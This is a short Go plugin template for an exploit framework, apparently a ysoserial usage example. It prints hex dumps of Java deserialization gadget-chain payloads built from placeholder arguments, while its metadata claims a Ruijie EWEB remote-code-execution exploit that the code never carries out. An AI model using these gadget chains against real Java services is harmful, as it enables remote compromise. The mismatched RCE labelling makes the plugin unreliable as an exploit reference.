ysoserial调用样例

package YsoserialExample

import (
    "context"
    "encoding/hex"
    "expgo/plugins/api/types"
    "fmt"

    "github.com/comwrg/ysoserial"
)

var (
    pluginType  = "custom"
    vulType     = "rce"
    name        = "Ruijie Networks-EWEB Network Management System RCE"
    component   = "ruijie"
    author      = "pikpikcu"
    description = "test description"
    references  = []string{
        "https://github.com/yumusb/EgGateWayGetShell_py/blob/main/eg.py",
        "https://www.ruijienetworks.com",
    }
    tags = []string{
        "ruijie",
        "rce",
        "network",
    }
)

var opts = types.NewOptions()

func init() {
    opts.String("target", true, "目标", "")
}

// from https://github.com/comwrg/ysoserial/blob/master/examples/main.go
func exploit(ctx context.Context, params map[string]interface{}) types.PluginResult {
    fmt.Println(hex.Dump(ysoserial.URLDNS("example domain")))
    fmt.Println(hex.Dump(ysoserial.CommonsBeanutils1([]byte("example bytes"))))
    fmt.Println(hex.Dump(ysoserial.CommonsCollections1("example command")))
    fmt.Println(hex.Dump(ysoserial.CommonsCollections2([]byte("example bytes"))))
    fmt.Println(hex.Dump(ysoserial.CommonsCollections3([]byte("example bytes"))))
    fmt.Println(hex.Dump(ysoserial.CommonsCollections4([]byte("example bytes"))))
    fmt.Println(hex.Dump(ysoserial.CommonsCollections5("example command")))
    fmt.Println(hex.Dump(ysoserial.CommonsCollections6("example command")))
    fmt.Println(hex.Dump(ysoserial.CommonsCollections7("example command")))
    fmt.Println(hex.Dump(ysoserial.Jdk7u21([]byte("example bytes"))))
    fmt.Println(hex.Dump(ysoserial.Jdk8u20([]byte("example bytes"))))
    return types.HitPluginResult
}
回到页面顶部